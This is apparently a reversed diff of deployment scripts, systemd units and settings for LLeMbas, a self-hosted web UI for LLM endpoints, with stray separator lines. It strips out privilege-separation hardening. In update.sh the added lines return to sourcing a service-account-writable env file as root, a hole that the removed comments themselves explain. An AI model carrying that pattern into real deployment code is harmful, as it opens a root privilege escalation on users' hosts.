LEMBAS_LOG_LEVEL=info
|
||||
LEMBAS_ALLOW_SIGNUP=true
|
||||
LEMBAS_DEFAULT_THEME=moria
|
||||
# Which branch /admin/updates compares against. Deployment configuration, not
|
||||
# an instance setting: it decides what code runs here, and a value a web
|
||||
# administrator could edit would turn "you may deploy the branch" into "you may
|
||||
# deploy anything".
|
||||
LEMBAS_UPDATE_BRANCH=$BRANCH
|
||||
# stable follows the newest release tag; edge follows the branch tip.
|
||||
LEMBAS_UPDATE_CHANNEL=$CHANNEL
|
||||
EOF
|
||||
sudo chown "$SERVICE_USER:$SERVICE_USER" "$ENV_FILE"
|
||||
sudo chmod 600 "$ENV_FILE"
|
||||
@@ -175,62 +120,6 @@ sed -e "s|__PREFIX__|$PREFIX|g" -e "s|__SERVICE_USER__|$SERVICE_USER|g" \
|
||||
sha256sum "$HERE/lembas.service" | cut -d' ' -f1 | sudo tee "$PREFIX/.unit-applied" >/dev/null
|
||||
sudo systemctl daemon-reload
|
||||
|
||||
echo "== update helper =="
|
||||
# Two units and a marker. The marker is what the web interface reads to decide
|
||||
# whether to offer the button at all -- a file rather than `systemctl
|
||||
# is-enabled`, because that would be a subprocess on every page render to answer
|
||||
# a question that changes once.
|
||||
UPDATE_MARKER="$PREFIX/data/.update-helper"
|
||||
# Where root's copy of the update script lives, and why it is a copy.
|
||||
#
|
||||
# The unit runs as root. Pointing its ExecStart at `$PREFIX/app/deploy/update.sh`
|
||||
# meant root executing a file owned by the **unprivileged service account** --
|
||||
# so anything able to write as that account could rewrite the script, create the
|
||||
# request file it also owns, and be root. That is the whole privilege boundary
|
||||
# the helper exists to keep, defeated by a `chown`.
|
||||
#
|
||||
# The second path is worse because it needs no compromise at all: an update
|
||||
# pulls new code *as the service user*, and root then runs whatever
|
||||
# `deploy/update.sh` that pull contained. Control of the branch would have been
|
||||
# control of root.
|
||||
#
|
||||
# So root runs a copy it owns, installed here, by an administrator, deliberately.
|
||||
# The cost is that improving `update.sh` needs `install.sh` re-run -- which is
|
||||
# the correct trade: root should not execute a script that arrived over the
|
||||
# network a moment ago.
|
||||
UPDATE_HELPER_DIR="/usr/local/lib/lembas"
|
||||
UPDATE_HELPER="$UPDATE_HELPER_DIR/update.sh"
|
||||
if [[ "$INSTALL_UPDATE_HELPER" == "1" ]]; then
|
||||
sudo mkdir -p "$UPDATE_HELPER_DIR"
|
||||
sudo install -o root -g root -m 755 "$HERE/update.sh" "$UPDATE_HELPER"
|
||||
for unit in lembas-update.path lembas-update.service; do
|
||||
sed -e "s|__PREFIX__|$PREFIX|g" \
|
||||
-e "s|__SERVICE_USER__|$SERVICE_USER|g" \
|
||||
-e "s|__UPDATE_BRANCH__|$BRANCH|g" \
|
||||
-e "s|__UPDATE_CHANNEL__|$CHANNEL|g" \
|
||||
-e "s|__UPDATE_HELPER__|$UPDATE_HELPER|g" \
|
||||
"$HERE/$unit" | sudo tee "/etc/systemd/system/$unit" >/dev/null
|
||||
done
|
||||
sudo systemctl daemon-reload
|
||||
sudo systemctl enable --now lembas-update.path
|
||||
# The channel goes *into* the marker, not just its existence. It is declared
|
||||
# in two places -- the unit above and lembas.env -- and this is what lets the
|
||||
# Updates page notice when somebody has edited one and not the other.
|
||||
echo "$CHANNEL" | sudo tee "$UPDATE_MARKER" >/dev/null
|
||||
sudo chown "$SERVICE_USER:$SERVICE_USER" "$UPDATE_MARKER"
|
||||
echo " installed. The web interface can now deploy the $CHANNEL channel and restart."
|
||||
else
|
||||
# Removed rather than left, so turning it off is re-running without the flag
|
||||
# rather than remembering three commands. The button then says so and prints
|
||||
# the manual one, which is the honest degradation.
|
||||
sudo systemctl disable --now lembas-update.path 2>/dev/null || true
|
||||
sudo rm -f /etc/systemd/system/lembas-update.path \
|
||||
/etc/systemd/system/lembas-update.service "$UPDATE_MARKER" \
|
||||
"$UPDATE_HELPER"
|
||||
sudo systemctl daemon-reload
|
||||
echo " not installed (INSTALL_UPDATE_HELPER=1 to allow updating from the web UI)"
|
||||
fi
|
||||
|
||||
echo "== self-signed cert for $SITE_HOST =="
|
||||
sudo mkdir -p /etc/nginx/ssl
|
||||
if [[ ! -f "/etc/nginx/ssl/$SITE_HOST.crt" ]]; then
|
||||
|
||||
@@ -1,23 +0,0 @@
|
||||
# Watches for an update request written by the web interface.
|
||||
#
|
||||
# install.sh substitutes __PREFIX__ and writes the result to
|
||||
# /etc/systemd/system/lembas-update.path. Installed only when the installer is
|
||||
# run with INSTALL_UPDATE_HELPER=1 — see deploy/README.md for what that decision
|
||||
# means.
|
||||
#
|
||||
# `PathExists` rather than `PathChanged`: the service deletes the file as its
|
||||
# first act, so the unit re-arms itself and a second request fires again. With
|
||||
# `PathChanged` a request written while the service was running would be missed.
|
||||
|
||||
[Unit]
|
||||
Description=Watch for a LLeMbas update request
|
||||
# Only while the thing being updated is meant to be running. Stopping lembas on
|
||||
# purpose should not leave a watcher that restarts it.
|
||||
PartOf=lembas.service
|
||||
|
||||
[Path]
|
||||
PathExists=__PREFIX__/data/update-requested
|
||||
Unit=lembas-update.service
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
@@ -1,47 +0,0 @@
|
||||
# Runs deploy/update.sh when the web interface asks for it.
|
||||
#
|
||||
# install.sh substitutes __PREFIX__, __SERVICE_USER__ and __UPDATE_BRANCH__ and
|
||||
# writes the result to /etc/systemd/system/lembas-update.service.
|
||||
#
|
||||
# **What this grants.** Installing it means anybody who can administer the web
|
||||
# interface can deploy whatever is on the configured branch, as root, and
|
||||
# restart the service. That is the point of it, and it is why it is opt-in and
|
||||
# why the installer says so out loud rather than doing it by default.
|
||||
#
|
||||
# **What it deliberately does not grant.** The request file carries nothing that
|
||||
# reaches this command line: no ref, no branch, no channel, no arguments. Both
|
||||
# are baked in below from the installer's environment, so pressing the button is
|
||||
# "deploy the channel this host was configured with" and can never be "deploy
|
||||
# something else". Nothing reads the file's *contents* either -- `ExecStartPre`
|
||||
# deletes it and the `.path` unit only ever tested that it exists.
|
||||
#
|
||||
# And root runs a script **root owns**. See ExecStart.
|
||||
|
||||
[Unit]
|
||||
Description=Apply a requested LLeMbas update
|
||||
# Not `After=lembas.service`: this restarts it, and an ordering dependency on
|
||||
# the thing being restarted is how a one-shot ends up waiting for itself.
|
||||
|
||||
[Service]
|
||||
Type=oneshot
|
||||
# Deleted first, always. The path unit re-arms on the file existing, so leaving
|
||||
# it in place would run this again the moment the service came back -- an
|
||||
# update loop with no obvious cause. `-` so a failure to delete does not stop
|
||||
# the update, and `ExecStartPre` so it happens even if the script itself fails.
|
||||
ExecStartPre=-/usr/bin/rm -f __PREFIX__/data/update-requested
|
||||
Environment=SERVICE_USER=__SERVICE_USER__
|
||||
Environment=PREFIX=__PREFIX__
|
||||
Environment=LEMBAS_BRANCH=__UPDATE_BRANCH__
|
||||
Environment=LEMBAS_CHANNEL=__UPDATE_CHANNEL__
|
||||
# **Not** `__PREFIX__/app/deploy/update.sh`. That path is inside the checkout and
|
||||
# owned by the unprivileged service account, so root would have been executing a
|
||||
# file that account could rewrite -- and that an update could replace, since a
|
||||
# pull runs as that account and root runs whatever it fetched on the next press.
|
||||
# `install.sh` puts a root-owned copy here instead. Improving the script means
|
||||
# re-running the installer, which is the right cost.
|
||||
ExecStart=/bin/bash __UPDATE_HELPER__
|
||||
# The script's own failure path prints the journal and exits non-zero, which is
|
||||
# what makes `systemctl status lembas-update` say what went wrong.
|
||||
StandardOutput=journal
|
||||
StandardError=journal
|
||||
TimeoutStartSec=600
|
||||
@@ -1,156 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# Create a Debian LXC container on a Proxmox host and install LLeMbas in it.
|
||||
#
|
||||
# A **wrapper around what already works**, not a second install path. It makes a
|
||||
# container, puts the dependencies in it, and runs `deploy/install.sh` inside --
|
||||
# which is the same script, doing the same things, so a fix to the installer
|
||||
# reaches this without anybody remembering. A parallel installer would be two
|
||||
# things to keep correct and one of them would rot.
|
||||
#
|
||||
# Run this on the Proxmox host, as root:
|
||||
#
|
||||
# CTID=140 SITE_HOST=chat.example ./deploy/lxc-install.sh
|
||||
#
|
||||
# Everything is overridable:
|
||||
#
|
||||
# CTID next free id the container's id
|
||||
# CT_HOSTNAME lembas hostname inside it
|
||||
# CT_STORAGE local-lvm where the rootfs goes
|
||||
# CT_TEMPLATE debian-12 template, matched against pveam list
|
||||
# CT_DISK 12 GB
|
||||
# CT_CORES 2
|
||||
# CT_MEMORY 4096 MB
|
||||
# CT_BRIDGE vmbr0
|
||||
# CT_IP dhcp or 192.168.1.50/24
|
||||
# CT_GATEWAY (unset) required when CT_IP is static
|
||||
# REPO_URL this checkout's origin
|
||||
# SITE_HOST lembas.local
|
||||
#
|
||||
# **Unprivileged, and that is not a default to change lightly.** Nothing LLeMbas
|
||||
# does needs privilege: agent chats run their commands over SSH on some *other*
|
||||
# machine, which is the whole isolation story. A privileged container would give
|
||||
# up the host's protection to buy nothing.
|
||||
set -euo pipefail
|
||||
|
||||
CT_HOSTNAME="${CT_HOSTNAME:-lembas}"
|
||||
CT_STORAGE="${CT_STORAGE:-local-lvm}"
|
||||
CT_TEMPLATE="${CT_TEMPLATE:-debian-12}"
|
||||
CT_DISK="${CT_DISK:-12}"
|
||||
CT_CORES="${CT_CORES:-2}"
|
||||
CT_MEMORY="${CT_MEMORY:-4096}"
|
||||
CT_BRIDGE="${CT_BRIDGE:-vmbr0}"
|
||||
CT_IP="${CT_IP:-dhcp}"
|
||||
CT_GATEWAY="${CT_GATEWAY:-}"
|
||||
SITE_HOST="${SITE_HOST:-lembas.local}"
|
||||
BRANCH="${LEMBAS_BRANCH:-main}"
|
||||
|
||||
HERE="$(dirname "$(readlink -f "$0")")"
|
||||
REPO_URL="${REPO_URL:-$(git -C "$HERE" remote get-url origin 2>/dev/null || true)}"
|
||||
|
||||
if ! command -v pct >/dev/null; then
|
||||
echo "pct not found. Run this on a Proxmox host." >&2
|
||||
exit 1
|
||||
fi
|
||||
if [[ -z "$REPO_URL" ]]; then
|
||||
echo "Could not determine REPO_URL. Set it explicitly." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
CTID="${CTID:-$(pvesh get /cluster/nextid)}"
|
||||
|
||||
# The template has to be on the host before a container can be made from it.
|
||||
# Matched by prefix rather than pinned to a filename, because the point release
|
||||
# in it moves and a hard-coded name would break on a host that downloaded a
|
||||
# different one.
|
||||
echo "== template =="
|
||||
template=$(pveam list local 2>/dev/null | awk -v want="$CT_TEMPLATE" '$1 ~ want {print $1}' | head -1)
|
||||
if [[ -z "$template" ]]; then
|
||||
available=$(pveam available --section system | awk -v want="$CT_TEMPLATE" '$2 ~ want {print $2}' | tail -1)
|
||||
if [[ -z "$available" ]]; then
|
||||
echo "No template matching '$CT_TEMPLATE'. Try: pveam available --section system" >&2
|
||||
exit 1
|
||||
fi
|
||||
echo " downloading $available"
|
||||
pveam download local "$available"
|
||||
template="local:vztmpl/$available"
|
||||
fi
|
||||
echo " $template"
|
||||
|
||||
echo "== container $CTID =="
|
||||
if pct status "$CTID" >/dev/null 2>&1; then
|
||||
echo " $CTID already exists, using it"
|
||||
else
|
||||
net="name=eth0,bridge=$CT_BRIDGE,ip=$CT_IP"
|
||||
[[ -n "$CT_GATEWAY" ]] && net="$net,gw=$CT_GATEWAY"
|
||||
pct create "$CTID" "$template" \
|
||||
--hostname "$CT_HOSTNAME" \
|
||||
--cores "$CT_CORES" \
|
||||
--memory "$CT_MEMORY" \
|
||||
--rootfs "$CT_STORAGE:$CT_DISK" \
|
||||
--net0 "$net" \
|
||||
--unprivileged 1 \
|
||||
--features nesting=1 \
|
||||
--onboot 1
|
||||
echo " created"
|
||||
fi
|
||||
|
||||
pct start "$CTID" 2>/dev/null || true
|
||||
# `pct exec` returns before the container's own network is up, and the very next
|
||||
# thing this does is apt-get. Waiting on DNS resolving rather than on a fixed
|
||||
# sleep, because a fixed sleep is either too short on a slow host or wasted on a
|
||||
# fast one.
|
||||
echo "== waiting for the network =="
|
||||
for _ in $(seq 1 30); do
|
||||
pct exec "$CTID" -- getent hosts deb.debian.org >/dev/null 2>&1 && break
|
||||
sleep 2
|
||||
done
|
||||
|
||||
echo "== dependencies =="
|
||||
pct exec "$CTID" -- bash -lc '
|
||||
set -e
|
||||
export DEBIAN_FRONTEND=noninteractive
|
||||
apt-get update -qq
|
||||
apt-get install -y -qq --no-install-recommends \
|
||||
git python3 python3-venv python3-pip nginx openssl sudo ca-certificates
|
||||
'
|
||||
|
||||
echo "== checkout =="
|
||||
pct exec "$CTID" -- bash -lc "
|
||||
set -e
|
||||
rm -rf /tmp/lembas-src
|
||||
git clone --quiet --branch '$BRANCH' '$REPO_URL' /tmp/lembas-src
|
||||
"
|
||||
|
||||
# The same installer this repository ships, run inside. Everything it decides --
|
||||
# the service user, the prefix, the unit, the vhost, the self-signed certificate
|
||||
# -- it decides there, so this script has no opinions to keep in step with it.
|
||||
#
|
||||
# The update helper is **on by default here**, and only here. `install.sh`
|
||||
# defaults it off because it cannot know what it is installing onto: on a shared
|
||||
# or long-lived host, letting anybody who can administer the web interface
|
||||
# deploy as root is a decision somebody should make on purpose. A container
|
||||
# created by this script thirty seconds ago is not that host -- it exists to run
|
||||
# LLeMbas and nothing else, whoever ran this owns the hypervisor, and an
|
||||
# appliance you cannot update without a shell is an appliance nobody updates.
|
||||
#
|
||||
# Set INSTALL_UPDATE_HELPER=0 to opt back out.
|
||||
INSTALL_UPDATE_HELPER="${INSTALL_UPDATE_HELPER:-1}"
|
||||
LEMBAS_CHANNEL="${LEMBAS_CHANNEL:-stable}"
|
||||
|
||||
echo "== install =="
|
||||
pct exec "$CTID" -- bash -lc "
|
||||
set -e
|
||||
SITE_HOST='$SITE_HOST' LEMBAS_BRANCH='$BRANCH' REPO_URL='$REPO_URL' \
|
||||
INSTALL_UPDATE_HELPER='$INSTALL_UPDATE_HELPER' \
|
||||
LEMBAS_CHANNEL='$LEMBAS_CHANNEL' \
|
||||
bash /tmp/lembas-src/deploy/install.sh
|
||||
"
|
||||
|
||||
address=$(pct exec "$CTID" -- hostname -I 2>/dev/null | awk '{print $1}')
|
||||
echo
|
||||
echo "LLeMbas is installed in container $CTID."
|
||||
echo " address : ${address:-unknown}"
|
||||
echo " site : https://$SITE_HOST (self-signed; accept the warning)"
|
||||
echo
|
||||
echo "Point '$SITE_HOST' at ${address:-the container} in your DNS or hosts file,"
|
||||
echo "then create the first account -- it becomes the administrator."
|
||||
+4
-86
@@ -10,11 +10,6 @@ set -euo pipefail
|
||||
SERVICE_USER="${SERVICE_USER:-lembas}"
|
||||
PREFIX="${PREFIX:-/srv/lembas}"
|
||||
BRANCH="${LEMBAS_BRANCH:-main}"
|
||||
# `stable` deploys the newest release tag; `edge` deploys the branch tip. Stable
|
||||
# is the default because a branch tip is not a release -- following one means
|
||||
# deploying whatever was pushed five minutes ago. A host with no tags yet falls
|
||||
# back to the branch and says so, rather than refusing to update at all.
|
||||
CHANNEL="${LEMBAS_CHANNEL:-stable}"
|
||||
|
||||
APP="$PREFIX/app"
|
||||
VENV="$PREFIX/venv"
|
||||
@@ -29,43 +24,8 @@ git_as() { sudo -u "$SERVICE_USER" git -C "$APP" "$@"; }
|
||||
before=$(git_as rev-parse HEAD)
|
||||
|
||||
echo "== fetching =="
|
||||
# `--tags` and `--force`: without the first, the stable channel never learns
|
||||
# about a release; without the second, a tag that was moved -- which happens to a
|
||||
# release cut wrong -- is refused rather than updated, and the host sits on the
|
||||
# old one with no sign of why.
|
||||
git_as fetch --quiet --tags --force origin "$BRANCH"
|
||||
|
||||
# What to land on. A release tag on stable, the branch tip on edge. The tag
|
||||
# pattern deliberately excludes anything with a suffix: `v1.1.0-rc1` sorts above
|
||||
# `v1.1.0` under git's version sort, so accepting it would step a stable host
|
||||
# onto a release candidate on the strength of a hyphen.
|
||||
target="origin/$BRANCH"
|
||||
if [[ "$CHANNEL" == "stable" ]]; then
|
||||
# `|| true` is load-bearing under `set -euo pipefail`, and for two reasons:
|
||||
# grep exits 1 when nothing matches -- which is every host until the first
|
||||
# release is tagged -- and `head -1` closing the pipe early can hand grep a
|
||||
# SIGPIPE. Either kills the script mid-update, after the fetch and before the
|
||||
# reset, leaving the checkout fetched and unmoved with no error printed.
|
||||
newest=$(git_as tag --list --sort=-v:refname \
|
||||
| grep -E '^v?[0-9]+\.[0-9]+\.[0-9]+$' | head -1 || true)
|
||||
if [[ -n "$newest" ]]; then
|
||||
target="$newest"
|
||||
else
|
||||
echo " no release tags yet; following $BRANCH instead"
|
||||
fi
|
||||
fi
|
||||
echo " channel $CHANNEL -> $target"
|
||||
|
||||
if [[ "$target" == "origin/$BRANCH" ]]; then
|
||||
# Stays on the branch, which is what this always did.
|
||||
git_as reset --hard --quiet "$target"
|
||||
else
|
||||
# Detached at the tag. A `reset --hard <tag>` while on `main` would move the
|
||||
# local branch to it, which is a rewrite of a ref nobody asked to rewrite --
|
||||
# and the deployment checkout is never developed in, so being at a commit
|
||||
# rather than on a branch is the more honest state anyway.
|
||||
git_as -c advice.detachedHead=false checkout --force --detach --quiet "$target"
|
||||
fi
|
||||
git_as fetch --quiet origin "$BRANCH"
|
||||
git_as reset --hard --quiet "origin/$BRANCH"
|
||||
|
||||
after=$(git_as rev-parse HEAD)
|
||||
|
||||
@@ -98,39 +58,6 @@ sudo -u "$SERVICE_USER" "$VENV/bin/pip" install --quiet -e "$APP[$LEMBAS_EXTRAS]
|
||||
# The drift is worth catching: a change in the unit can be what makes a release
|
||||
# work at all, and a host that pulled the code without it would run the new
|
||||
# version under the old settings and fail confusingly.
|
||||
# This script itself, first, because root is running a copy of it.
|
||||
#
|
||||
# `install.sh` puts a root-owned copy outside the checkout and points the unit
|
||||
# there -- root must not execute a file the unprivileged service account can
|
||||
# write, nor one that an update just fetched. The cost of that is exactly this:
|
||||
# the copy can fall behind what the checkout ships, silently, and the way to
|
||||
# notice is to compare.
|
||||
#
|
||||
# `$0` is the copy being run; `$APP/deploy/update.sh` is what was just pulled.
|
||||
self=$(readlink -f "$0")
|
||||
if [[ "$self" == "$(readlink -f "$APP")"/* ]]; then
|
||||
# The old wiring, and the one that matters: the unit points *into the
|
||||
# checkout*, so root is executing a file the unprivileged service account
|
||||
# owns and that every update overwrites. Fires on exactly the hosts installed
|
||||
# before this was fixed, and never afterwards.
|
||||
echo "== update helper: INSECURE WIRING ==" >&2
|
||||
echo " This unit runs $self as root, and that file is owned by" >&2
|
||||
echo " $SERVICE_USER -- the account the web application runs as. Anything" >&2
|
||||
echo " able to write as that account can rewrite it and be root, and so" >&2
|
||||
echo " can whoever controls the branch this host follows." >&2
|
||||
echo " Fix by re-running the installer, which moves root's copy out:" >&2
|
||||
echo " cd $APP && sudo INSTALL_UPDATE_HELPER=1 ./deploy/install.sh" >&2
|
||||
elif [[ -f "$APP/deploy/update.sh" ]]; then
|
||||
running_helper=$(sha256sum "$self" | cut -d' ' -f1)
|
||||
shipped_helper=$(sha256sum "$APP/deploy/update.sh" | cut -d' ' -f1)
|
||||
if [[ "$running_helper" != "$shipped_helper" ]]; then
|
||||
echo "== update helper ==" >&2
|
||||
echo " deploy/update.sh has changed since this host's copy was installed." >&2
|
||||
echo " Re-run the installer to take it:" >&2
|
||||
echo " cd $APP && sudo INSTALL_UPDATE_HELPER=1 ./deploy/install.sh" >&2
|
||||
fi
|
||||
fi
|
||||
|
||||
STAMP="$PREFIX/.unit-applied"
|
||||
current=$(sha256sum "$APP/deploy/lembas.service" | cut -d' ' -f1)
|
||||
if [[ -f "$STAMP" && "$(cat "$STAMP")" != "$current" ]]; then
|
||||
@@ -163,18 +90,9 @@ site_host=""; app_port=""
|
||||
# recovered from the environment file and the vhost found by what it proxies to.
|
||||
# Guessing "your-host" instead would have skipped the check on exactly the hosts
|
||||
# it was added for.
|
||||
# **Parsed, never sourced.** `.deploy-env` is written by the installer with
|
||||
# `sudo tee`, so the file is root-owned -- but `$PREFIX` is the service
|
||||
# account's own directory, mode 755, and write permission on a directory is all
|
||||
# it takes to unlink a file and put another one there. `.` would have run its
|
||||
# contents as root, and this script is root-triggerable by anyone who can create
|
||||
# one file in `$PREFIX/data` -- which is that same account. Two keys, two
|
||||
# patterns, and anything else in the file is ignored rather than executed.
|
||||
if [[ -f "$PREFIX/.deploy-env" ]]; then
|
||||
site_host=$(sed -n 's/^SITE_HOST=\([A-Za-z0-9._-]\{1,253\}\)$/\1/p' \
|
||||
"$PREFIX/.deploy-env" | tail -1)
|
||||
app_port=$(sed -n 's/^APP_PORT=\([0-9]\{1,5\}\)$/\1/p' \
|
||||
"$PREFIX/.deploy-env" | tail -1)
|
||||
. "$PREFIX/.deploy-env"
|
||||
site_host="$SITE_HOST"; app_port="$APP_PORT"
|
||||
fi
|
||||
if [[ -z "$app_port" && -f "$PREFIX/lembas.env" ]]; then
|
||||
app_port=$(sed -n 's/^LEMBAS_PORT=//p' "$PREFIX/lembas.env" | tail -1)
|
||||
|
||||
@@ -1,57 +0,0 @@
|
||||
# LLeMbas, and nothing else.
|
||||
#
|
||||
# Deliberately no reverse proxy in here. Which one to use, where the certificate
|
||||
# comes from and what else the host already serves are all decisions this file
|
||||
# cannot make -- and baking one in would mean anybody who already runs Caddy or
|
||||
# Traefik has to unpick it first. What this does is publish on loopback, which is
|
||||
# what a proxy on the same host proxies to.
|
||||
#
|
||||
# **TLS is not optional in practice.** The service worker and the microphone both
|
||||
# require HTTPS or localhost, so over plain http on a LAN address the app cannot
|
||||
# be installed and cannot dictate. See deploy/README.md.
|
||||
|
||||
services:
|
||||
lembas:
|
||||
build: .
|
||||
image: lembas:latest
|
||||
restart: unless-stopped
|
||||
|
||||
environment:
|
||||
# Generate once and keep it: rotating this signs every user out *and*
|
||||
# makes stored upstream API keys unreadable, because they are encrypted
|
||||
# with it. `lembas secret-key` prints one.
|
||||
#
|
||||
# Required with no default on purpose. A compose file with a key in it is
|
||||
# a key in everybody's git history, and one that quietly generated a
|
||||
# temporary one would lose every stored credential on the next restart.
|
||||
LEMBAS_SECRET_KEY: ${LEMBAS_SECRET_KEY:?set LEMBAS_SECRET_KEY in .env}
|
||||
LEMBAS_DATA_DIR: /data
|
||||
LEMBAS_HOST: 0.0.0.0
|
||||
LEMBAS_PORT: 8080
|
||||
LEMBAS_LOG_LEVEL: ${LEMBAS_LOG_LEVEL:-info}
|
||||
LEMBAS_ALLOW_SIGNUP: ${LEMBAS_ALLOW_SIGNUP:-true}
|
||||
|
||||
# 127.0.0.1 rather than 0.0.0.0: the session cookie is deliberately not
|
||||
# marked `secure` so a localhost install can sign anybody in at all, which
|
||||
# means a network attacker on plain http could steal a session. Publishing
|
||||
# this on a LAN interface without a proxy in front is the one configuration
|
||||
# that turns that from a note into a problem.
|
||||
ports:
|
||||
- "127.0.0.1:8080:8080"
|
||||
|
||||
volumes:
|
||||
# The database, the uploads, the encryption at rest. A named volume rather
|
||||
# than a bind mount so it survives `docker compose down` -- `down -v` is
|
||||
# the command that deletes it, and that asymmetry is the point.
|
||||
- lembas-data:/data
|
||||
|
||||
# One worker, and that is not a shortcut. The generation registry, the stop
|
||||
# mechanism, the terminal sessions and the schedule ticker are all
|
||||
# in-process; two of these would mean two tickers and every schedule firing
|
||||
# twice. Scaling this service is not supported -- see PLAN.md's first known
|
||||
# limit.
|
||||
deploy:
|
||||
replicas: 1
|
||||
|
||||
volumes:
|
||||
lembas-data:
|
||||
+2
-17
@@ -4,11 +4,7 @@ build-backend = "hatchling.build"
|
||||
|
||||
[project]
|
||||
name = "lembas"
|
||||
# Read from lembas.__version__ rather than written here. Two copies drifted
|
||||
# three minor versions apart without anything noticing, because nothing reads
|
||||
# this one: the app, the service worker cache key and the page footer all read
|
||||
# the module. See [tool.hatch.version] below.
|
||||
dynamic = ["version"]
|
||||
version = "0.6.2"
|
||||
description = "LLeMbas - a Middle-earth themed web UI for OpenAI-compatible LLM endpoints"
|
||||
readme = "README.md"
|
||||
requires-python = ">=3.11"
|
||||
@@ -64,10 +60,7 @@ ssh = ["asyncssh[bcrypt]>=2.14"]
|
||||
lembas = "lembas.cli:app"
|
||||
|
||||
[project.urls]
|
||||
Homepage = "https://git.houmeres.sk/Houmeres/LLeMbas"
|
||||
|
||||
[tool.hatch.version]
|
||||
path = "src/lembas/__init__.py"
|
||||
Homepage = "https://github.com/homer/LLeMbas"
|
||||
|
||||
[tool.hatch.build.targets.wheel]
|
||||
packages = ["src/lembas"]
|
||||
@@ -83,13 +76,5 @@ ignore = ["B008"] # FastAPI Depends() in defaults is idiomatic
|
||||
|
||||
[tool.pytest.ini_options]
|
||||
testpaths = ["tests"]
|
||||
# Registered so `-m "not slow"` works and an unknown-marker warning does not
|
||||
# become an error later. `slow` is for the tests that stand up something real:
|
||||
# a uvicorn subprocess on a port, an asyncssh server, a PTY, a git repository
|
||||
# built with subprocess. They are the ones worth having and the ones worth
|
||||
# being able to skip while iterating.
|
||||
markers = [
|
||||
"slow: stands up a real server, shell or repository",
|
||||
]
|
||||
asyncio_mode = "auto"
|
||||
filterwarnings = ["ignore::DeprecationWarning"]
|
||||
|
||||
@@ -1,3 +1,3 @@
|
||||
"""LLeMbas - a Middle-earth themed web UI for OpenAI-compatible LLM endpoints."""
|
||||
|
||||
__version__ = "1.0.1"
|
||||
__version__ = "0.6.2"
|
||||
|
||||
@@ -55,6 +55,7 @@ async def general_page(request: Request, db: Db, user: AdminUser, saved: bool =
|
||||
async def save_general(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
instance_name: str = Form("LLeMbas"),
|
||||
allow_signup: bool = Form(False),
|
||||
system_prompt: str = Form(""),
|
||||
compact_threshold: int = Form(95),
|
||||
@@ -68,6 +69,7 @@ async def save_general(
|
||||
settings_store.update(
|
||||
db,
|
||||
{
|
||||
"instance_name": instance_name.strip()[:120] or "LLeMbas",
|
||||
"allow_signup": allow_signup,
|
||||
"system_prompt": system_prompt.strip()[:8000],
|
||||
# 0 is "never"; anything else is clamped into a band where it can
|
||||
@@ -143,19 +145,11 @@ async def update_connection(
|
||||
base_url: str = Form(...),
|
||||
api_key: str = Form(""),
|
||||
enabled: bool = Form(False),
|
||||
unload_url: str = Form(""),
|
||||
unload_method: str = Form("POST"),
|
||||
) -> Response:
|
||||
connection = _connection(db, connection_id)
|
||||
connection.name = name.strip()[:120] or connection.name
|
||||
connection.base_url = base_url.strip().rstrip("/")
|
||||
connection.enabled = enabled
|
||||
# How to ask this endpoint to drop its model, for image generation's
|
||||
# Preserve VRAM. Empty means it cannot be unloaded, which is the honest
|
||||
# answer for anything not running on the machine ComfyUI is on.
|
||||
connection.unload_url = unload_url.strip()[:500]
|
||||
method = unload_method.strip().upper()
|
||||
connection.unload_method = method if method in ("GET", "POST") else "POST"
|
||||
|
||||
submitted = api_key.strip()
|
||||
if submitted and submitted != UNCHANGED_SENTINEL:
|
||||
|
||||
@@ -19,7 +19,7 @@ from sqlalchemy import func, select
|
||||
from lembas.api.deps import AdminUser, Db
|
||||
from lembas.db.models import SshProfile
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.agent import hosts, policy
|
||||
from lembas.services.agent import policy
|
||||
from lembas.services.agent import ssh as ssh_service
|
||||
from lembas.services.agent import terminal as terminal_service
|
||||
from lembas.web.templating import render
|
||||
@@ -48,76 +48,16 @@ async def agents_page(request: Request, db: Db, user: AdminUser, saved: bool = F
|
||||
"profile_count": db.scalar(select(func.count()).select_from(SshProfile)) or 0,
|
||||
"terminal_count": terminal_service.count(),
|
||||
"modes": [(m, policy.MODE_LABELS[m], policy.MODE_HINTS[m]) for m in policy.MODES],
|
||||
"loopback_modes": [
|
||||
(m, hosts.MODE_LABELS[m], hosts.MODE_HINTS[m]) for m in hosts.MODES
|
||||
],
|
||||
# How many of this instance's connections the current position would
|
||||
# stop. The number is the point of the card: "3 connections" beside
|
||||
# a switch somebody is about to move is the difference between an
|
||||
# informed change and a surprise.
|
||||
"loopback_count": sum(
|
||||
1
|
||||
for p in db.scalars(select(SshProfile))
|
||||
if hosts.is_loopback(p.host) or p.resolves_here
|
||||
),
|
||||
# A group of its own, saved by its own form. Subagents are not an
|
||||
# agent-chat feature -- an ordinary chat can delegate too -- but
|
||||
# this is the page somebody looks at when they want to know what a
|
||||
# reply is allowed to set going on its own, and a nav entry for one
|
||||
# card would be worse than the near-miss.
|
||||
"subagents": settings_store.subagents(db),
|
||||
"saved": saved,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/subagents")
|
||||
async def save_subagents(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
enabled: bool = Form(False),
|
||||
max_per_reply: int = Form(4),
|
||||
max_concurrent: int = Form(6),
|
||||
max_rounds: int = Form(30),
|
||||
wall_seconds: int = Form(600),
|
||||
max_completion_tokens: int = Form(60_000),
|
||||
keep_transcript: bool = Form(False),
|
||||
) -> Response:
|
||||
"""Its own route because it is its own settings group.
|
||||
|
||||
A single form writing two groups would mean one save handler deciding which
|
||||
key each field belongs to, which is a mapping that goes wrong silently. Two
|
||||
forms, two keys, and the browser posts only the one that was submitted.
|
||||
"""
|
||||
settings_store.update(
|
||||
db,
|
||||
{
|
||||
"enabled": enabled,
|
||||
# Clamped here as well as on read, for the reason the agent settings
|
||||
# give: a number with no bound is a way to break the instance from a
|
||||
# form. Zero is kept only for the token ceiling, where it means "no
|
||||
# ceiling"; everywhere else a zero would be the feature switched off
|
||||
# wearing the switch's clothes.
|
||||
"max_per_reply": min(max(max_per_reply, 1), 20),
|
||||
"max_concurrent": min(max(max_concurrent, 1), 50),
|
||||
"max_rounds": min(max(max_rounds, 1), 200),
|
||||
"wall_seconds": min(max(wall_seconds, 30), 7200),
|
||||
